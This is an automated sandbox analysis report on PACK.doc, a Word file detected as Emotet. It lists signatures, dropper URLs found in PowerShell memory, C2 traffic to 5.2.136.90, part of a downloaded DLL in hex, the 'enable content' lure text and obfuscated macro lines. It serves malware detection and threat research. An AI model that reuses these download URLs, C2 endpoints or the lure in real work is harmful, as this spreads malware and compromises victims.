Analysis Report PACK.doc

Overview

General Information

Sample Name: PACK.doc
Analysis ID: 336504
MD5: d114fc2644da49f16a6be05bb0db6b08
SHA1: 6b5b6a9a5291b1b564ad3005c392ff1756ceef9e
SHA256: d9687c1ca0f341d62cf664cdfe3c9741f1f48df25129df53df9ae81979e89a5d

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: https://fnjbq.com/wp-includes/rlR/ Avira URL Cloud: Label: malware
Source: http://wap.zhonglisc.com/wp-includes/QryCB/ Avira URL Cloud: Label: malware
Source: http://petafilm.com/wp-admin/4m/ Avira URL Cloud: Label: malware
Source: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: petafilm.com Virustotal: Detection: 6% Perma Link
Source: http://petafilm.com Virustotal: Detection: 6% Perma Link
Multi AV Scanner detection for submitted file
Source: PACK.doc Virustotal: Detection: 30% Perma Link
Source: PACK.doc ReversingLabs: Detection: 50%

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt, 7_2_100011C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100021F0 CryptStringToBinaryW,CoTaskMemAlloc,CryptStringToBinaryW,StgDeserializePropVariant,CoTaskMemFree, 7_2_100021F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002730 StgSerializePropVariant,CryptBinaryToStringW,CoTaskMemAlloc,CryptBinaryToStringW,CoTaskMemFree,CoTaskMemFree, 7_2_10002730
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_001F75AE CryptDecodeObjectEx, 21_2_001F75AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_001F109C FindFirstFileW, 21_2_001F109C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: petafilm.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 176.53.69.151:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 176.53.69.151:80

Networking:

barindex
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in memory: http://petafilm.com/wp-admin/4m/
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in memory: http://givingthanksdaily.com/qlE/VeF/
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in memory: http://wap.zhonglisc.com/wp-includes/QryCB/
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in memory: https://fnjbq.com/wp-includes/rlR/
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in memory: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in memory: http://zieflix.teleskopstore.com/cgi-bin/Gt3S/
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in memory: https://somanap.com/wp-admin/P/
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKCache-Control: no-cache, must-revalidatePragma: no-cacheContent-Type: application/octet-streamExpires: Wed, 06 Jan 2021 07:57:52 GMTLast-Modified: Wed, 06 Jan 2021 07:57:52 GMTServer: Microsoft-IIS/10.0Set-Cookie: 5ff56d802ad3f=1609919872; expires=Wed, 06-Jan-2021 07:58:52 GMT; Max-Age=60; path=/Content-Disposition: attachment; filename="bLH.dll"Content-Transfer-Encoding: binaryX-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Wed, 06 Jan 2021 07:57:51 GMTContent-Length: 192000Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 95 16 3a bb d1 77 54 e8 d1 77 54 e8 d1 77 54 e8 15 b2 99 e8 dc 77 54 e8 15 b2 9a e8 8e 77 54 e8 15 b2 9b e8 f8 77 54 e8 2d 00 eb e8 d0 77 54 e8 2d 00 e8 e8 d3 77 54 e8 d1 77 55 e8 53 77 54 e8 2d 00 ed e8 c0 77 54 e8 f6 b1 9b e8 d5 77 54 e8 f6 b1 9e e8 d0 77 54 e8 f6 b1 9d e8 d0 77 54 e8 d1 77 c3 e8 d0 77 54 e8 f6 b1 98 e8 d0 77 54 e8 52 69 63 68 d1 77 54 e8 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ff a1 f3 5f 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 be 00 00 00 4a 02 00 00 00 00 00 dc 45 00 00 00 10 00 00 00 d0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 03 00 00 04 00 00 00 00 00 00 02 00 00 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 19 01 00 cb 00 00 00 8c 0f 01 00 b4 00 00 00 00 50 01 00 20 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 03 00 a0 0c 00 00 10 d2 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 05 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 19 bd 00 00 00 10 00 00 00 be 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 bb 4a 00 00 00 d0 00 00 00 4c 00 00 00 c2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 2d 00 00 00 20 01 00 00 10 00 00 00 0e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 b2 01 00 00 50 01 00 00 b4 01 00 00 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 1a 00 00 00 10 03 00 00 1c 00 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /wp-admin/4m/ HTTP/1.1Host: petafilm.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 176.53.69.151 176.53.69.151
Source: Joe Sandbox View IP Address: 5.2.136.90 5.2.136.90
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: RADORETR RADORETR
Source: Joe Sandbox View ASN Name: RCS-RDS73-75DrStaicoviciRO RCS-RDS73-75DrStaicoviciRO
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /6d6v7rdk92yimvk/99aw7ok625toqmkhj7c/ HTTP/1.1DNT: 0Referer: 5.2.136.90/6d6v7rdk92yimvk/99aw7ok625toqmkhj7c/Content-Type: multipart/form-data; boundary=-------------------g8UsT9LwY8y8blrgAXkUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 6100Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 21_2_0020023A InternetReadFile, 21_2_0020023A
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E1AD59AA-72A2-4470-89E8-B7D87A58E0E0}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /wp-admin/4m/ HTTP/1.1Host: petafilm.comConnection: Keep-Alive
Source: rundll32.exe, 00000006.00000002.2105059366.0000000001C80000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100112011.0000000001C30000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.2119718363.0000000001E20000.00000002.00000001.sdmp, rundll32.exe, 00000015.00000002.2351863247.0000000001DC0000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: petafilm.com
Source: unknown HTTP traffic detected: POST /6d6v7rdk92yimvk/99aw7ok625toqmkhj7c/ HTTP/1.1DNT: 0Referer: 5.2.136.90/6d6v7rdk92yimvk/99aw7ok625toqmkhj7c/Content-Type: multipart/form-data; boundary=-------------------g8UsT9LwY8y8blrgAXkUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 6100Connection: Keep-AliveCache-Control: no-cache
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://givingthanksdaily.com/qlE/VeF/
Source: rundll32.exe, 00000006.00000002.2105059366.0000000001C80000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100112011.0000000001C30000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.2119718363.0000000001E20000.00000002.00000001.sdmp, rundll32.exe, 00000015.00000002.2351863247.0000000001DC0000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2105059366.0000000001C80000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100112011.0000000001C30000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.2119718363.0000000001E20000.00000002.00000001.sdmp, rundll32.exe, 00000015.00000002.2351863247.0000000001DC0000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000006.00000002.2105756347.0000000001E67000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100816040.0000000001E17000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2105756347.0000000001E67000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100816040.0000000001E17000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2102091328.0000000003A04000.00000004.00000001.sdmp String found in binary or memory: http://petafilm.com
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2103679489.000000001B8B0000.00000004.00000001.sdmp String found in binary or memory: http://petafilm.com/wp-admin/4m/
Source: powershell.exe, 00000005.00000002.2097126955.00000000022F0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2102087996.00000000027F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102601330.0000000002870000.00000002.00000001.sdmp, rundll32.exe, 00000011.00000002.2121847060.0000000002790000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2105756347.0000000001E67000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100816040.0000000001E17000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://wap.zhonglisc.com/wp-includes/QryCB/
Source: rundll32.exe, 00000006.00000002.2105756347.0000000001E67000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100816040.0000000001E17000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2097126955.00000000022F0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2102087996.00000000027F0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2102601330.0000000002870000.00000002.00000001.sdmp, rundll32.exe, 00000011.00000002.2121847060.0000000002790000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000006.00000002.2105059366.0000000001C80000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100112011.0000000001C30000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.2119718363.0000000001E20000.00000002.00000001.sdmp, rundll32.exe, 00000015.00000002.2351863247.0000000001DC0000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2105756347.0000000001E67000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100816040.0000000001E17000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000006.00000002.2105059366.0000000001C80000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2100112011.0000000001C30000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.2119718363.0000000001E20000.00000002.00000001.sdmp, rundll32.exe, 00000015.00000002.2351863247.0000000001DC0000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2096378240.00000000000A4000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/cc=
Source: powershell.exe, 00000005.00000002.2096378240.00000000000A4000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.2096378240.00000000000A4000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: rundll32.exe, 00000015.00000002.2351863247.0000000001DC0000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://zieflix.teleskopstore.com/cgi-bin/Gt3S/
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: https://fnjbq.com/wp-includes/rlR/
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/
Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: https://somanap.com/wp-admin/P/

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 00000012.00000002.2114668618.00000000006E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2099273377.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2105305860.00000000001E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2103683744.00000000001E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2113027910.0000000000231000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2116945153.0000000000290000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2101721678.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2117172638.0000000000301000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2103560548.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2101746597.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2109151387.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2114707003.0000000000701000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2100654563.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2110616410.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2112015647.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2106388395.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2119170548.0000000000291000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2351272233.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2109044611.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2106314094.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2100698593.0000000000251000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2110668347.0000000000281000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2351339088.00000000001F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2107874642.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2112073559.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2108018320.00000000001E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2099440995.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2112967165.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2119062368.0000000000270000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2105231881.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 16.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.700000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.270000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.230000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.6e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.290000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.rundll32.exe.1f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.250000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.290000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.280000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.270000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.6e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.290000.0.unpack, type: UNPACKEDPE

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page: I of I I Word
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page: I of I I Words:3 I 3 I N@m 13 ;a 1
Source: Screenshot number: 8 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. O a
Source: Screenshot number: 8 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 8 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 8 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. O a
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Document contains an embedded VBA macro with suspicious strings
Source: PACK.doc OLE, VBA macro line: Set VJbwzTDT = ChWZVJiB.CreateTextFile("gMEpHB:\SKWvYCA\YtZqA.fQoAE")
Source: PACK.doc OLE, VBA macro line: Set JhiYfXc = HnBvAEH.CreateTextFile("ehLoAm:\PAVZiAGU\jVPHv.fAgoFBYmC")
Source: PACK.doc OLE, VBA macro line: Set DRrKpoA = xxYeFGUAH.CreateTextFile("eCzvxHN:\cgVnKGAT\YcnDi.YqiJOp")
Source: PACK.doc OLE, VBA macro line: Set AybxtEBCJ = bGMXEIA.CreateTextFile("grPSDMS:\lQkJoR\aZMUgjGC.pVvhaH")
Source: PACK.doc OLE, VBA macro line: Set uJSEDH = dLrgANHCG.CreateTextFile("lBasV:\tFGoGJd\zBuHfBCN.AHGggII")
Source: PACK.doc OLE, VBA macro line: Set tcYiEMeRH = RNgUODjsM.CreateTextFile("FyNFG:\ugXUH\cZIFypIHj.tRULIINC")
Source: PACK.doc OLE, VBA macro line: Set gQxBD = PAxhJ.CreateTextFile("dFVzNBE:\EBCOlEEOJ\KlKcJKk.SVIvoAEqG")
Source: PACK.doc OLE, VBA macro line: Set RkPWCDPC = xkJxAAC.CreateTextFile("tLvao:\aGKUA\AhQhj.BDOQSJWG")
